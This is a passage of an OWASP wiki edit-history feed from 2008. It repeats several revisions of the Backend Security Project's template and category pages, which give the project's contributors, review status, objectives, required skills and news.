 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - First Reviewer - C|See&amp;amp;Edit: 50% Review/1st Reviewer (C)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project 50 Review Second Review E|See&amp;amp;Edit: 50%Review/2nd Reviewer (E)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Final Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Self Evaluation - B|See&amp;amp;Edit: Final Review/SelfEvaluation (B)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - First Reviewer - D|See&amp;amp;Edit: Final Review/1st Reviewer (D)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Second Reviewer - F|See&amp;amp;Edit: Final Review/2nd Reviewer (F)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=49699</id>
		<title>Project Information:template Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Project_Information:template_Backend_Security_Project&amp;diff=49699"/>
				<updated>2008-12-22T11:59:44Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;8&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT IDENTIFICATION''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Project Name'''&lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|&amp;lt;font color=&amp;quot;black&amp;quot;&amp;gt;'''OWASP Backend Security Project''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;| '''Short Project Description''' &lt;br /&gt;
 | colspan=&amp;quot;7&amp;quot; style=&amp;quot;width:85%; background:#cccccc&amp;quot; align=&amp;quot;left&amp;quot;|This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture.&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''PROJECT KEY INFORMATION'''&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Licensed under&amp;lt;br&amp;gt;[[http://creativecommons.org/licenses/by-nc-nd/3.0/|Creative Commons Attribution-ShareAlike 3.0]]&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Leader&amp;lt;br&amp;gt;[mailto:carlo.pelliccioni(at)gmail.com '''Carlo Pelliccioni''']&lt;br /&gt;
 | style=&amp;quot;width:13%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Project Contributors&amp;lt;br&amp;gt;[mailto:daniele.bellucci(at)gmail.com '''Daniele Bellucci''']&amp;lt;br&amp;gt;[mailto:esonn(at)gmx.net '''Erik Sonnleitner''']&amp;lt;br&amp;gt;[mailto:francesco.perna(at)gmail.com '''Francesco Perna''']&amp;lt;br&amp;gt;[mailto:overet(at)securitydate.it '''Giuseppe Gottardi''']&amp;lt;br&amp;gt;[mailto:na '''Guido Landi''']&amp;lt;br&amp;gt;[mailto:guido.pederzini(at)gmail.com '''Guido Pederzini''']&amp;lt;br&amp;gt;[mailto:inode(at)mediaservice.net '''Maurizio Agazzini''']&amp;lt;br&amp;gt;[mailto:massimo.biagiotti(at)gmail.com '''Massimo Biagiotti''']&amp;lt;br&amp;gt;[mailto:pderinaldis(at)gmail.com '''Pasquale de Rinaldis''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[https://lists.owasp.org/mailman/listinfo/owasp-backend-security '''Mailing List/Subscribe''']&amp;lt;br&amp;gt;[mailto:owasp-backend-security(at)lists.owasp.org '''Mailing List/Use''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|First Reviewer&amp;lt;br&amp;gt;[mailto:kisero(at)gmail.com '''Esteban Ribičić''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|Second Reviewer&amp;lt;br&amp;gt;[mailto:spyroinc(at)gmail.com '''Josh Sweeney''']&lt;br /&gt;
 | style=&amp;quot;width:12%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|OWASP Board Member&amp;lt;br&amp;gt;(if applicable)&amp;lt;br&amp;gt;[mailto:name(at)name '''Name&amp;amp;Email''']&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''PROJECT MAIN LINKS''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:100%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|&lt;br /&gt;
* [[OWASP Backend Security Project|OWASP Backend Security Project v1.0]]&lt;br /&gt;
* [https://www.owasp.org/images/2/20/OWASP_EU_Summit_2008_Presentation_Model.ppt PowerPoint Presentation]&lt;br /&gt;
* (If appropriate, more links to be added)&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;6&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|&amp;lt;font color=&amp;quot;white&amp;quot;&amp;gt;'''SPONSORS &amp;amp; GUIDELINES''' &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008|Sponsor - '''OWASP Summer of Code 2008''']] &lt;br /&gt;
 | style=&amp;quot;width:50%; background:#cccccc&amp;quot; align=&amp;quot;center&amp;quot;|[[OWASP Summer of Code 2008 Applications - Need Futher Clarifications#OWASP Backend Security Project|'''Sponsored Project/Guidelines/Roadmap''']]&lt;br /&gt;
 |}&lt;br /&gt;
{| style=&amp;quot;width:100%&amp;quot; border=&amp;quot;0&amp;quot; align=&amp;quot;center&amp;quot;&lt;br /&gt;
 ! colspan=&amp;quot;5&amp;quot; align=&amp;quot;center&amp;quot; style=&amp;quot;background:#4058A0; color:white&amp;quot;|ASSESSMENT AND REVIEW PROCESS&lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#6C82B5&amp;quot; align=&amp;quot;center&amp;quot;|'''Review/Reviewer''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Author's Self Evaluation'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further) &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''First Reviewer'''&amp;lt;br&amp;gt;(applicable for Alpha Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''Second Reviewer'''&amp;lt;br&amp;gt;(applicable for Beta Quality &amp;amp; further)&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#b3b3b3&amp;quot; align=&amp;quot;center&amp;quot;|'''OWASP Board Member'''&amp;lt;br&amp;gt;(applicable just for Release Quality) &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''50% Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - Self Evaluation - A|See&amp;amp;Edit:50% Review/Self-Evaluation (A)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - 50 Review - First Reviewer - C|See&amp;amp;Edit: 50% Review/1st Reviewer (C)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project 50 Review Second Review E|See&amp;amp;Edit: 50%Review/2nd Reviewer (E)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X &lt;br /&gt;
 |-&lt;br /&gt;
 | style=&amp;quot;width:15%; background:#7B8ABD&amp;quot; align=&amp;quot;center&amp;quot;|'''Final Review''' &lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Self Evaluation - B|See&amp;amp;Edit: Final Review/SelfEvaluation (B)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - First Reviewer - D|See&amp;amp;Edit: Final Review/1st Reviewer (D)]]&lt;br /&gt;
 | style=&amp;quot;width:21%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|Objectives &amp;amp; Deliveries reached?&amp;lt;br&amp;gt;'''Yes'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;Which status has been reached?&amp;lt;br&amp;gt;'''Beta Quality'''&amp;lt;br&amp;gt;---------&amp;lt;br&amp;gt;[[Project Information:template Backend Security Project - Final Review - Second Reviewer - F|See&amp;amp;Edit: Final Review/2nd Reviewer (F)]]&lt;br /&gt;
 | style=&amp;quot;width:22%; background:#C2C2C2&amp;quot; align=&amp;quot;center&amp;quot;|X&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46698</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46698"/>
				<updated>2008-11-21T15:51:46Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* News */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta_2008.pdf OWASP Backend Security Project 1.0 beta 2008.pdf]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [http://www.owasp.org/index.php/OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46697</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46697"/>
				<updated>2008-11-21T15:51:00Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* News */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta_2008.pdf OWASP Backend Security Project 1.0 beta 2008.pdf]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [http://www.owasp.org/index.php/Category:OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46696</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46696"/>
				<updated>2008-11-21T15:49:41Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* News */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta_2008.pdf OWASP Backend Security Project 1.0 beta 2008.pdf]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
          - DB2&lt;br /&gt;
          - MySQL&lt;br /&gt;
          - PostgreSQL&lt;br /&gt;
&lt;br /&gt;
''' * LDAP Server '''&lt;br /&gt;
          - OpenLDAP&lt;br /&gt;
          - iPlanet LDAP&lt;br /&gt;
          - Active Directory&lt;br /&gt;
&lt;br /&gt;
''' * Other back-end components '''&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project needs of the OWASP community and new volunteers to become a new point of reference about the Web Application Security and a new OWASP success.&lt;br /&gt;
&lt;br /&gt;
== Mailing List ==&lt;br /&gt;
&lt;br /&gt;
https://lists.owasp.org/mailman/listinfo/owasp-backend-security&lt;br /&gt;
&lt;br /&gt;
owasp-backend-security@lists.owasp.org&lt;br /&gt;
&lt;br /&gt;
== News ==&lt;br /&gt;
&lt;br /&gt;
11/21/2008 - New [https://www.owasp.org/index.php/Category:OWASP_Backend_Security_Project_Proposals wiki page] to add new proposals about the project. &lt;br /&gt;
&lt;br /&gt;
11/03/2008 - OWASP Backend Security Project available in PDF (183 pages).&lt;br /&gt;
&lt;br /&gt;
06/19/2008 - 1st OWASP Summer of Code 2008 deadline: 29th June 2008.&lt;br /&gt;
&lt;br /&gt;
04/18/2008 - OWASP Backend Security Project will participate to the next OWASP Summer of Code 2008.&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - OWASP Backend Security Project will be presented at OWASP Day 2 organized by OWASP-Italy (Rome, University &amp;quot;La Sapienza&amp;quot; Via Salaria, 113).&lt;br /&gt;
&lt;br /&gt;
01/31/2008 - 1st dead line: (03/31/2008) - We need to collect the existing information in other areas of the OWASP wiki for the similar categories.&lt;br /&gt;
&lt;br /&gt;
== Contacts ==&lt;br /&gt;
&lt;br /&gt;
carlo.pelliccioni &amp;lt;at&amp;gt; gmail.com&lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46695</id>
		<title>Category:OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Category:OWASP_Backend_Security_Project&amp;diff=46695"/>
				<updated>2008-11-21T15:49:21Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: /* News */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[:Category:OWASP Project|Click here to return to OWASP Projects page.]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[:Project Information:template Backend Security Project|Click here to see (&amp;amp; edit, if wanted) the template.]] &lt;br /&gt;
{{:Project Information:template Backend Security Project}}&lt;br /&gt;
&lt;br /&gt;
== Welcome to the OWASP Backend Security Project ==&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is the first OWASP project entirely dedicated to the core of the Web Applications.&lt;br /&gt;
&lt;br /&gt;
[http://www.owasp.org/index.php/OWASP_Backend_Security_Project OWASP Backend Security Project wiki v1.0 beta]&lt;br /&gt;
&lt;br /&gt;
Now Available: [http://www.owasp.org/index.php/Image:OWASP_Backend_Security_Project_1.0beta_2008.pdf OWASP Backend Security Project 1.0 beta 2008.pdf]&lt;br /&gt;
&lt;br /&gt;
== Objectives ==&lt;br /&gt;
&lt;br /&gt;
The aim of this OWASP project is to create a new guide that could allow developers, administrators and testers to comprehend any parts of the security process about back-end components that directly communicate with the web applications as well as databases, ldaps, payment gateway, and much more.&lt;br /&gt;
&lt;br /&gt;
== Join the project ==&lt;br /&gt;
&lt;br /&gt;
To reach this purpose our community needs more Information Technology security professionals as possible to create a new point of reference for the entire OWASP community.&lt;br /&gt;
Although these information are briefly discussed in the others OWASP projects the community would like to collect those already existing information and creating new sections related to the not mentioned back-end components.&lt;br /&gt;
&lt;br /&gt;
OWASP Backend Security Project is composed of three sections: security development, security hardening, security testing.&lt;br /&gt;
&lt;br /&gt;
Below are described the main professional skills requested: &lt;br /&gt;
&lt;br /&gt;
     - Web Developers&lt;br /&gt;
     - System Administrators&lt;br /&gt;
     - DB Administrators&lt;br /&gt;
     - Penetration Testers&lt;br /&gt;
&lt;br /&gt;
Below are described the main technology skills requested:&lt;br /&gt;
&lt;br /&gt;
''' * Programming Languages '''&lt;br /&gt;
          - JAVA&lt;br /&gt;
          - PHP&lt;br /&gt;
          - .NET&lt;br /&gt;
&lt;br /&gt;
''' * Database Server '''&lt;br /&gt;
          - ORACLE&lt;br /&gt;
          - SQL Server&lt;br /&gt;
